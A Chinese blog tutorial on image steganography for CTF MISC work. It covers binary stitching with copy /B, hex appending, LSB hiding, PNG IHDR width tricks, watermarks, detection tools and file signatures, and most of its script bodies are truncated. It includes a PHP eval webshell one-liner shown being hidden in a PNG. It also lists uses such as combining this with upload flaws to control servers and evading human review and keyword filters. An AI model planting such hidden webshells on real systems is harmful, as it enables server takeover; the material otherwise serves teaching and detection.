网络安全 MISC 之图片隐写技术详解:从原理到实战(含工具与脚本)

网络安全 MISC 之图片隐写技术详解:从原理到实战(含工具与脚本)
28.7的博客一、为什么有MISC?
在网络安全领域,除了框架漏洞、版本漏洞、代码逻辑漏洞等常见漏洞类型外,还存在隐写类关卡。这类技术通过特殊手段,将敏感/违规内容隐藏在图片、文本、压缩包、视频、音频等载体深处,规避常规检测,是CTF-MISC方向及实际攻击场景中的重要技术分支。
二、图片隐写技术详解
图片是隐写技术中最常用的载体(格式兼容性强、肉眼不易察觉异常),以下从「用途→具体技术→工具/脚本」展开讲解。
2.1 图片隐藏信息的核心用途
- 规避肉眼审查:多数平台设有人工审核机制,隐藏后的信息从图片表面无异常,可绕过人工检查。
- 规避敏感词过滤:直接传递文字易被平台敏感词系统拦截,通过图片隐写可将敏感内容“伪装”为普通图片。
- 网站挂马与漏洞利用:结合文件上传漏洞(如Apache/Nginx版本漏洞、Session竞争),将webshell等恶意代码隐写进图片,实现服务器控制。
- 维护公司形象, 入侵不仅仅包含主机渗透,还涉及文化渗透,譬如,制作幻影坦克图,而审核若不仔细审核,当用户点击时,会影响公司形象甚至带来用户流失
2.2 基础信息隐藏:二进制缝合与十六进制编辑
这类方法原理简单(直接附加数据),适合隐藏小体积内容(如短脚本、密钥),缺点是文件体积异常时易被察觉。
2.2.1 Windows copy 命令:二进制缝合
通过copy /B命令将两个文件的二进制数据拼接,目标文件保留原图片的可读性,同时包含附加文件的内容。
- 核心原理:
/B参数指定“二进制模式”,直接读取源文件二进制数据并追加到目标文件,不修改原图片的像素结构。 - 适用场景:隐藏webshell(如PHP脚本)、压缩包(ZIP/RAR)等。
实验步骤
- 准备文件:
- 正常图片:
normal.png(示例为PNG格式,JPG/BMP均支持) - 待隐藏文件:
shell.php(内容为webshell,如<?php eval($_POST['cmd']);?>)
- 正常图片:
- 执行缝合命令:
1
2# 格式:copy /B "原图片路径" + "待隐藏文件路径" "输出图片路径"
copy /B "normal.png" + "shell.php" "hidden_shell.png" - 验证结果:
- 生成的
hidden_shell.png可正常打开(表面无异常); - 若隐藏的是压缩包(如
test.zip),直接用解压工具打开hidden_shell.png即可提取压缩包内容。
- 生成的
2.2.2 WinHex:十六进制直接附加
通过十六进制编辑器直接修改图片的二进制数据,将待隐藏内容的十六进制编码追加到图片末尾,步骤如下:
- 用WinHex打开原图片(如
normal.png); - 打开待隐藏文件(如
shell.php),复制其十六进制内容; - 在WinHex的图片二进制末尾粘贴十六进制内容,保存为新文件(如
hex_hidden.png); - 验证:新图片可正常打开,用WinHex查看可发现末尾的附加数据。
2.3 LSB(最低有效位)算法隐写
LSB是最经典的图片隐写算法,通过修改像素的“最低有效位”存储信息,肉眼完全无法察觉颜色变化,隐蔽性远优于二进制缝合。
2.3.1 核心原理
数字图片的每个像素由RGB三通道组成(每个通道取值0-255,用8位二进制表示)。例如:
- 红色通道值
153的二进制为10011001,其中最右侧的1位(0/1) 即为“最低有效位(LSB)”。 - 修改LSB仅会让通道值变化±1(如153→152或154),人眼无法分辨这种细微颜色差异,因此可利用LSB存储秘密信息的二进制位。
2.3.2 最大信息量计算
一张图片能隐藏的最大信息量由“像素数量×通道数”决定,公式如下:
| 计算维度 | 公式 | 说明 |
|---|---|---|
| 总二进制位数 | 图片宽度 × 图片高度 × 3(RGB三通道) | 每个通道的LSB存储1位秘密数据 |
| 最大字节数 | (宽×高×3)÷ 8 | 1字节=8位,需整除取整 |
| 最大ASCII字符数 | (宽×高×3)÷ 8 | 每个ASCII字符占1字节 |
示例:1000×800分辨率的图片
- 总像素数:1000×800 = 800,000
- 总二进制位:800,000 × 3 = 2,400,000 位
- 最大隐藏字节数:2,400,000 ÷ 8 = 300,000 字节(约293KB)
- 可隐藏ASCII字符数:约300,000个(相当于300页纯文本)
注意:实际隐藏时需预留部分空间(如添加终止符
\0),且信息量过大可能导致图片颜色轻微异常。
2.3.3 LSB隐写/解密脚本(Python)
基于PIL库实现LSB算法,支持将文本信息隐写进图片,或从隐写图片中提取信息。
完整脚本
1 | from PIL import Image |
脚本使用示例
加密(隐藏webshell):
1
python lsb_steganography.py encode normal.png hidden.png '<?php eval($_POST["cmd"]);?>'
输出:
加密成功!输出文件:hidden.png(hidden.png可正常打开,无肉眼异常)解密(提取webshell):
1
python lsb_steganography.py decode hidden.png
输出:
提取的秘密信息:<?php eval($_POST["cmd"]);?>
2.3.4 LSB隐写的识别工具
LSB修改的是像素细微差异,需专用工具检测:
- Stegsolve:CTF常用工具,通过“Channel Viewer”切换RGB通道,查看LSB层的异常数据。
- zsteg:命令行工具(支持PNG/BMP),自动检测LSB隐写数据,命令示例:
1
zsteg -a hidden.png # -a 参数:检测所有可能的隐写模式
2.4 基于图片结构的隐写:修改宽高隐藏内容
这类技术利用图片格式的“结构字段”(如PNG的IHDR块),修改图片的显示宽高,使部分像素(含隐藏信息)不被显示,从而规避检测。
2.4.1 PNG图片的关键结构:IHDR块
PNG图片的第一个数据块是IHDR块(图像头块),包含图片的核心元信息,且一张PNG仅有一个IHDR块。其结构如下:
| 字段 | 长度(字节) | 说明 |
|---|---|---|
| 宽度 | 4 | 图片像素宽度(十六进制存储) |
| 高度 | 4 | 图片像素高度(十六进制存储) |
| 图像深度 | 1 | 每个通道的位数(如8位:0-255) |
| 颜色类型 | 1 | 如RGB(2)、灰度(0) |
| 压缩方法 | 1 | 固定为0(DEFLATE压缩) |
| 过滤方法 | 1 | 固定为0(自适应过滤) |
| 交错方法 | 1 | 0(无交错)/1(亚当7交错) |
| CRC校验值 | 4 | 验证IHDR块数据完整性(修改宽高后需重新计算) |
2.4.2 隐写原理
- 原始图片:假设图片实际宽高为
1842×987(十六进制00 00 07 32 × 00 00 03 DB),所有像素均包含信息。 - 修改显示宽高:将宽度改为
1080(十六进制00 00 04 38),图片仅显示1080×987的区域,右侧1842-1080=762像素的内容被隐藏。 - CRC校验修复:修改宽高后IHDR块的CRC值失效,需重新计算并更新,否则图片会显示“损坏”。
2.4.3 宽高修改脚本(含CRC校验)
以下Python脚本可修改PNG宽高并自动修复CRC校验,避免图片损坏。
完整脚本
1 | import struct |
脚本使用注意事项
- 宽高限制:新宽高必须小于等于原始宽高(否则隐藏的内容会被填充为空白)。
- 格式支持:仅支持PNG(JPG无IHDR块,宽高修改逻辑不同)。
- 验证结果:修改后用图片查看器打开,确认无“损坏”提示,且显示区域缩小。
2.5 数字水印隐写
数字水印是隐写的衍生技术,分为“隐式水印”(不可见,如LSB)和“显式水印”(可见,如版权标识),核心用于版权保护。
2.5.1 数字水印技术分类
| 分类 | 原理 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|---|
| 空域水印 | 直接修改载体原始数据(如LSB、像素叠加) | 实现简单、实时性强 | 鲁棒性差(易被压缩/裁剪破坏) | 短信息隐藏、临时版权标识 |
| 频域水印 | 经傅里叶变换(DFT)/离散余弦变换(DCT)转换到频域,修改频域系数 | 鲁棒性强(抵抗压缩/裁剪) | 实现复杂、依赖数学算法 | 长期版权保护(如图片/视频版权) |
2.5.2 显式水印生成脚本
显式水印(如“版权所有”“禁止转载”)是最常用的版权保护手段,以下脚本支持在图片指定位置叠加文字水印(含透明度调整)。
完整脚本
1 | import argparse |
脚本使用示例(中文水印)
1 | # 示例:在图片右下角添加红色半透明中文水印(需指定中文字体路径) |
三、常用文件头/尾信息表(隐写检测辅助)
隐写图片常被修改文件格式(如改后缀为PNG的JPG),通过文件头/尾可快速识别真实格式,辅助隐写检测。
| 文件类别 | 文件格式 | 文件头信息(十六进制) | 文件尾信息(十六进制) |
|---|---|---|---|
| 图片 | JPEG | FF D8 FF | FF D9 |
| 图片 | PNG | 89 50 4E 47 0D 0A 1A 0A | AE 42 60 82 |
| 图片 | GIF | 47 49 46 38 39 61 / 47 49 46 38 37 61 | 00 3B |
| 图片 | BMP | 42 4D(”BM”) | 无 |
| 压缩包 | ZIP | 50 4B 03 04 | 50 4B |
| 压缩包 | RAR | 52 61 72 21(”Rar!”) | 无 |
| 音频 | WAV | 57 41 56 45(”WAVE”) | 无 |
| 文档 | 25 50 44 46 2D 31 2E(”%PDF-1.”) | 45 4F 46(”EOF”) | |
| 脚本 | PHP | 无(文本文件,可通过内容识别) | 无 |
四、总结
图片隐写技术的核心是“隐蔽性”与“鲁棒性”的平衡:
- 基础方法(二进制缝合、宽高修改)适合快速隐藏,需注意文件体积/CRC校验;
- LSB算法隐蔽性强,是CTF及实战中的首选;
- 数字水印侧重版权保护,频域水印适合长期抗破坏场景。
在实际防御中,需结合“文件体积检测+像素异常分析(如Stegsolve)+文件头校验”,才能有效识别隐写内容。









